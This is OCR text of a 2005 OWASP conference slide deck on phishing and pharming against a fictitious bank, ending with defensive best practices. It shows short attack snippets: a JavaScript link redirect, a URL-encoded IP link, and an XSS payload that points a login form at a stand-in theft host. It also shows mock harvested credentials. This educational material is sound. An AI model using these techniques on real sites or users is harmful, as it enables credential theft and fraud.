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NOTE !!

B Some demonstrated phishing techniques are
shown in this presentation

B All brands used in the screenshots are fictitious
and do not reflect true organizations
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Discussion Topics

B Definitions and Statistics
B Malicious Techniques

» Phishing

» Pharming

» Advanced

B Current Security Models

B Best Practices
» Technical
» Operational
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The Demolished Man

Snim trudged downtown to Maiden Lane and cased the banks in that pleasant
esplanade ... Snim entered the bank, crossed the crowded main flood to the row of
desks opposite the tellers' cages, and stole a handful of deposit slips and a pen.

Snim lurked outside the bank, watching the tellers' cages closely. A solid citizen was
making a withdrawal at Cage Z. The teller was passing over big chunks of paper
cash. This was the fish. Snim hastily removed his jacket, rolled up his sleeves, and
tucked the pen in his ear.

As the fish came out of the bank, counting his money, Snim slipped behind him, darted
up and tapped the man's shoulder.

"Excuse me, sir," he said briskly. "I'm from Cage Z. I'm afraid our teller made a mistake
and short-counted you. Will you come back for the adjustment please?" Snim
waved his sheaf of slips, gracefully swept the money from the fish's fins and turned
to enter the bank. "Right this way, sir," he called pleasantly. "You have another
hundred coming to you.*

As the surprised solid citizen followed him, Snim darted busily across the floor, slipped
into the crowd and headed for the side exit. He would be out and away before the
fish realized he'd been gutted.

Alfred Bester, 1951




Definitions

B |dentity Theft

» The act of impersonating another, by means of using
the person's information

B Phishing
» A form of social engineering, characterized by
attempts to fraudulently acquire sensitive information

B Pharming

» The exploitation of a vulnerability in the DNS server
software that allows a hacker to acquire the Domain
Name for a site, and to redirect that website's traffic to
another web site
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APWG Statistics — July 2005

Phishing Reports Received 14,135
Hijacked Brands 71
Number of brands in top 80% 6
Phish targeted at Financial Services 86%
Country hosting most phishing sites United States
Contain some form of target name 46%
No target name - just IP address 41%
Average time online for site 5.9 days
Longest time online for site 30 days
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http://antiphishing.org/APWG_Phishing_Activity_Report_Jul_05.pdf

More Statistics

Estimated number of people who think they got phishing 57 million
emails in the past year

Recipients who opened a phishing e-mail 19%
Recipients who divulge personal or financial information 3 - 59%
to phishers

People who are duped into acting on a phishing e-mail 1in 10

that was identified as probably fraudulent

At EarthLink, which averages eight unique phishing > $40’000
attacks each month, the cost per attack

Number of calls in one hour to a top 20 US Bank after a > 90,000
phishing attack
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Causes for Growth

B Average web user can be fooled
» Websites & branding look official
» Social engineering plays on fear
» Advanced techniques difficult to detect
B Organizations are only beginning to address the
issue

» Web and email protections lacking
» Communication is inconsistent

B Enforcement and Prosecution is difficult
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Common Phishing Attack Methodology

From: admin @hackme.com
Subject: Security Alert

Dear HackMe Bank Client,

We are performing system
maintenance, wich may
interfere with access to your
Online Services. Due to these
technical updates your online
account has been deactivated.

Click here to reactivate:

http://www.hackmebank
.com/us/login.asp

\

/

Real Site

&] Hackme Bank - Microsoft Internet Explorer

: File Edt Mien Favorites Tooks Help

: Address | ] httpsjfoww hackmebank-online .comjusfiogin.asp

— e
HACKME -

Usernatme

Password:

.m B
I | sc/rcH | LOGIN [ ACCOUNT [ CONTACT

Attacker Data Collection

Name: John Doe

Copyright © 2002, HackMe Bank.
Al rights reserved,

\ Address: 15 Broadway Ave
i SSN: 123 45 6789

] Done

4 Internet

t CC: 4388 1234 1234 1234

Fake Site

Username: jdoe
Password: password

Name: Jane Doe

a Hackme Bank - Microsoft Internet Explorer

E@ Address: 15 7th Ave

: Fle Edt view Favarites Todls  Help

 Address €] hep:fowwe, hackmebank-online. comfus lagin,asp

M8 SSN: 123 45 6798

——_——
IIACKH! -

TUsername

Password:

A

f 1
_ SEARCH LOGIN ACCOUNT | CONTACT

CC: 4388 1234 1234 4321
Username: jane.doe
Password: password

Cepyright © 2002, HackMe Banle
All rights reserved.

€] Done

B Internet

r
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Common Email Attack Techniques

B | ook & Feel Replication
B Direct Data Collection

B | ink Obfuscation

» JavaScript Redirection
» URL Encoding
» Direct IP Address

B Hot linked image
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Direct Data Collection

MSM Home | My MSMN | Hokmail | Shopping | Money | People & Chat Sign Out, ..

msn‘ HOtmall Today | Mail | Calendar | Contacts

Dptions | Help

bankclienti@batmail, com

ers | M5k Featured Cffers
E<m Reply | =3 Reply &l | (S Forward | 2 Delete | @ Elock | B2 Junk = | B2 Putin Folder = | E5 Prink Wiew | Save Address

From admin@hackmebank. com. com.com 4a | | ¥ | EInbox
Sent Tuesday, October 25, 2004 12:19 PM

To: bankclient@hatmail . com

Subject ; HackMe Bank - System maintenance

Technical services of HackMe Bank are performing a planned systems upgrade, We would appreciake your help in logging inko your bank account o wverify and walidate wour
user information. \We certainly appreciate vour help and cooperation,

55M or Customer ID
PIM

Ilse of this site involves the electronic transmission of personal financial information. Using this product is consent to such transmission of this information; such consent: is

effective at all times when using this sike, Usage of HackMe Bank's online trading services constitutes agreement of the Electronic Services Customer Agreement and License
Agreement, HackMe Bank. supparts both 40-bit and 128-bit browser encryption |

| G | poy | ¥ | K| Enbox |
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JavaScript Redirection

B <3 href=http://www.legitsite.com
onClick=validate>http://www.legitsite.com</a>

B <script>
function validate() {
top.location.href =
http://www.badsite.com;
return false;

5

</script>
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http://www.legitsite.com/
http://www.badsite.com/

URL Encoding

B Viewed in Source

» http://%31%39%35%2E%32%33%39%2E%37%39%
2E%31%37%30:%38%37/%73%74/%69%6E%64%6
5%78%2E%68%74%6D

B Resolved by Browser
» http://192.239.79.170:87/st/index.htm

B Useful sites
» http://www.netdemon.net/decode.html
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http://192.239.79.170:87/st/index.htm
http://www.netdemon.net/decode.html

Hot Linked Image

MSM Home | ™My MSN | Hotmail | Shopping | Money | People & Chat M

msn“ Hotmail

Mail Calendar | Contacts

Dptions | Help
bankclienti@batmail, com

E<m Reply | =5 Reply &l | (< Forward | 2 Delete | @ Elock | B2 Junk = | B2 Putin Folder = | E5 Prink Wiew | Save Address

Franm : service@hackme com e | ¥ | ¥ | EInbox
Sent Tuesday, October 25, 2004 12:19 PM

To: bankclient@hatmail . com

Subject ; Cnline Banking and Investing
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Other Communication Attack Techniques

B |nhstant messages
B Message boards
B Guestbooks

B Blog Comments
B Wireless

B Virus, Trojans

B Etc.
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Website Attack Techniques

B Fully spoofed site

B Stolen images

B Browser GUI manipulation
B Framed Keyloggers

B Pop-up / Pop-under

B XSS defacement

B Pharming
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L —
Fully Spoofed Site

@ Hackme Bank - Microsoft Internet Explorer uw
File Edit “iew Favorites Tools  Help #
. Address @http:,l',l'www.hau:kmel:uank—u:unline.u:-:um,l'us,l'lu:ugin.aspx tl .—} a0

TTzernarme; |

Paszsword: | |

Copynght © 2002, Haclklde Banle
Al rights reserved.

ﬂ Inkernet
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Stolen Images

@ Hackme Bank - Microsoft Internet Explorer

—
=2&s
File Edit Miew Fawaorites  Tools  Help -{.’

. Address |@ hiktp: e hackmebank-onling, comfuslogin, aspsx tl Lo

Privacy Report

e Bazed on vour privacy settings, no cookies were restricted or blacked.

HACKME

W

Showr |f-'a|| YWeb sites M

ﬂ YWeb zitez with content on the current page:

Site

hittp: At hack mebank -online. comuzdogin, azpe
hitp: A Awana hackmebank. comfuzdimageshomel . gif

Usernare: hittp: /A hackmebank. comuzdimagesshackmel...

hittpc A fwavn hackmebank. comduzdimages/search. gif

Password: hittp: A fvave hackmebank, comdusdimagesogin. gif

hitp: A Awanaa hackmebank. comduzdimages/account. gif

hittp: A fean hackmebank. comduzdimages/contact. gif

Cookies

Copyright © 2002, HackMe B T view a sites privacy summary, select an item in the list, and S ummary
; then click Summary.
Al rights reserved.

Learn more about privacy. ..

Settings... H Cloze

ﬂ Inkernet
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Browser GUI Manipulation

@ Hackme Bank - Microsoft Internet Explorer u@ﬁ
>

: File Edit Wiew Favorites Tools  Help

L Qek - QO NGO EE

50 NS A ‘e & % )
| SEARCH | LOGIN | ACCOUNT | CONTACT
Username:|
Password;| |
Copyrght © 2002, HackMe Banlk
A1 rights reserved.
@ é alnternet
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T
Framed Keylogger

@ Hackme Bank - Microsoft Internet Explorer uw
© File Edit View Favorites  Tools  Help #
. Address |@ http: i hackmebank-online, comyuslogin, asp tl = [

v 7
CONTACT

Tzername: ||JSEITIEI.FI"IE |

Paszsword: |nnn" |

Copynght © 2002, Haclklde Banle
Al rights reserved.

ﬂ Inkernet

&1 u[117]s[115]e[101 ][ 114]n[110]a[97Im[109]e[ 101]p[112]a[97]s[1 15]s[1 15]w[119]al1 11 ][ 114]d[100]
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Pop-up / Pop-under

. @ Hackme Bank - Microsoft Internet Explorer [._HE]E
File Edit Miew Favorites  Tools  Help ﬂ.

| SEARCH | LOGIN

Credit Cards | Insurance | Lending | Money M3 I SEARCH I LOGIN

PERSONAL BANKING |» BUSINESS BANKING

TTzernamme:
| LOGIN

Pazsword:
Copyright @ 2002, HackIe Banl
2 Open an Account Today! 3 Lp|| Al rights reserved. R
Open an instant accountin just a Fir
few short seconds. Flim
itk
: : april < I 3
Planning on Betirement? <] | - 2]
Howe much should wou zave, to | @ ‘ﬂ Local inkranet
> make you money last. Managing > _I_tlsii+ ——
vour retirement. its zecure. et your money from M
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-
XSS Defacement

@ Hackme Bank - Microsoft Internet Explorer uw
© File Edit View Favorites  Tools  Help #
. Address |@ hikkpe v, hackmebank-online, comfuslogin, asp?uidis = <script =document. login, action="htkp: /0.0.0.0/theft, asp'window, skaktus="¥55"; < [script tl .—} @0

TTzernarme; | |

Paszsword: | |

Copynght © 2002, Haclklde Banle
Al rights reserved.

ﬂ Inkernet
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Pharming

B HOSTS file modification
B DNS Attacks
B \Web Cache Poisoning
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Pharming: HOSTS File Modification

B Trumps DNS settings
B Virus, trojans, spyware
» April, 2005 - 77
» May, 2005 - 79
» June, 2005 - 154
» July, 2005 - 174

B Disable AV update sites

B Advanced techniques
» Multi-part
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Pharming: DNS Attacks

B Known vulnerabilities
B DNS protocol solely dependant on port and ID

B Techniques
» Blind spoofing
» PRNG problems
» Birthday paradox

» DOS attacks
= QOctober, 2002
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Blind Spoofing

B Attacker can not see the query
» Must guess the transaction ID and port

B Poor DNS implementations make this easy
» Static port configuration
» Sequential transaction IDs
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PRNG Problems

B Random numbers are not always random
ed

Linux 2.2 Windows 98 SE
Attack feasibility: < 0.05% Attack feasibility: 100%




Birthday Paradox

B “If there are 23 people in a room then there is a
chance of more than 50% that at least two of
them will have the same birthday”

B Conventional logic suggests a transaction ID
collision probability of 1 in 65,535

» Birthday paradox reduces this probability to only 1 in
700
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Web Cache Poisoning

B Coming soon to a phishing pond near you

Hacker’s Site

Web CacheRoisoning

v

F 3
F 3

user _ | Web Server
Poisoned

Cache Server

Hacker taints only pages that interest them.
Personal Information is collected and sent to

hacker’s site using your cache server!
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Current Security Models

B Secure Sockets Layer (SSL)

» Encrypts the data between the server and client
B Web Browser Security

» Same origin policy

» Cookie flag (httpOnly)

» Cookie flag (secure)
B Two Factor Authentication

» Something you know / have / are / do

B Consumer Education
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Best Practice Responsibilities

B Prevention

B Detection

B Resolution

B Operational Controls

OWASP AppSec DC 2005 e 31




Best Practices: Prevention

B Technology

» Web application security

= Restrict Track / Trace HTTP methods

= QOutput Encoding

* Use “httpOnly” & “secure” cookie flags

" Break out of frames

— if (self = top) top.location = self.location;

» Web application firewalls

= XSS detection

* Content referrer restrictions

» Email integrity solutions
* Digital signatures
* Email sender verification
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Best Practices: Operational Prevention

B Operational

» Customer Education
= Describe how you will interact with them
= Possible ID theft techniques & safeguards

» Email Communication

= Be consistent with all customer communication
* Do not ask for personal information

» Web
* Blanket SSL
* Two factor authentication
" Domain nhame consistency
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Best Practices: Detection

B Technology
» Phishing email monitoring
» Domain hame management
» Traffic analytics monitoring
» Internet monitoring

B Operational
» Email bounce back analysis

» Call centers
» Website feedback
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Best Practices: Resolution

B Counter Measures - Site Take Down
» ISP communication
» Contact Email Provider
» Notify law officials
» Data Poisoning

B Fraudulent Site Forensics
» Owner identification: Email & Website
» Risk assessment

» Website characteristics
" Code, Technologies, ISP, etc.
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Best Practices: Operational Controls

B Policy and Procedures

» Incident Response Plan

» Internal and External Communications Plan
B Prioritization

B Customer Impact Assessment
» Customers affected
» Financial impact

B Feedback

» Learn from each event and improve process and
countermeasures
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Thank - you

B Questions ?
B Comments ?
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